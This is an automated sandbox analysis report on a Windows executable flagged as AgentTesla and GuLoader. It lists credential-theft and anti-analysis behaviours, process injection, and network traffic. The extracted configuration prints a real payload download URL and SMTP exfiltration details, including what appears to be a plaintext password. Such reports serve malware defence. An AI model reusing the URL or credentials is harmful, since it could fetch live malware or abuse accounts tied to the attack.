Edit tour

Windows Analysis Report
FRACCIONAMIENTO 1722403906461L.exe

Overview

General Information

Sample Name:	FRACCIONAMIENTO 1722403906461L.exe
Analysis ID:	612103
MD5:	04e8c57a5df1834c590c49ccc8734d6e
SHA1:	b53b20975776cc58ed77d8bfff905303aa84391e
SHA256:	345aa66f6945c8fadee442f115591eaa694196c3ec207246814b5c90ab39df0a
Infos:

Detection

AgentTesla GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected GuLoader

Hides threads from debuggers

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

C2 URLs / IPs found in malware configuration

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses SMTP (mail sending)

PE / OLE file has an invalid certificate

Sigma detected: Suspicious Outbound SMTP Connections

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

FRACCIONAMIENTO 1722403906461L.exe (PID: 1612 cmdline: "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" MD5: 04E8C57A5DF1834C590C49CCC8734D6E)

CasPol.exe (PID: 3292 cmdline: "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

conhost.exe (PID: 956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "titkarsag@ferdi.huQ1w2e3r4t5!mail.ferdi.hulucassevirus@gmail.com"}

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000000.15477945295.0000000000BC0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CasPol.exe PID: 3292	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 3292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 1 entries

Sigma Signatures

There are no malicious signatures, click here to show all signatures.

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.51.191.23, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, Initiated: true, ProcessId: 3292, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49786

Source: Process started

Author: frack113: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" , ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, ParentProcessId: 3292, ParentProcessName: CasPol.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 956, ProcessName: conhost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000000.15477945295.0000000000BC0000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E"}
Source: conhost.exe.956.4.memstrmin	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "titkarsag@ferdi.huQ1w2e3r4t5!mail.ferdi.hulucassevirus@gmail.com"}

Multi AV Scanner detection for submitted file

Source: FRACCIONAMIENTO 1722403906461L.exe	Virustotal: Detection: 27%			Perma Link
Source: FRACCIONAMIENTO 1722403906461L.exe	ReversingLabs: Detection: 12%

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Finlandsrejserne

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.11.20:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.11.20:49785 version: TLS 1.2

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_0040290B FindFirstFileW,
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_0040699E FindFirstFileW,FindClose,

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E

Source: Joe Sandbox View

ASN Name: TARHELYHU TARHELYHU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 185.51.191.23 185.51.191.23

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9ri2cnupcf3pilpptme4k7l2h/1650461475000/18066694053602596605/*/1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-74-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49786 -> 185.51.191.23:587

Source: global traffic

TCP traffic: 192.168.11.20:49786 -> 185.51.191.23:587

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:23 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:32 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:41 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:51 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:56 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:05 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:15 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:23 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:29 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:36 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:41 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:50 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:00 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:08 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:17 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:23 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:32 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:39 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 00000003.00000002.20397299424.000000001D33C000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C

Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://GeLRtI.com
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17099903213.000000001C0E1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20398038371.000000001D3CB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20397764298.000000001D39E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://YCkYMz5eVEN7dA.org
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://YCkYMz5eVEN7dA.orgt-
Source: CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ac.economia.gob.mx/cps.html0
Source: CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ac.economia.gob.mx/last.crl0G
Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://acedicom.edicomgroup.com/doc0
Source: CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?
Source: CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv1.crl0
Source: CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv2.crl0
Source: FRACCIONAMIENTO 1722403906461L.exe	String found in binary or memory: http://aia.mesince.com/ms-tsa.cer02
Source: FRACCIONAMIENTO 1722403906461L.exe	String found in binary or memory: http://aia.mesince.com/ms.cer0
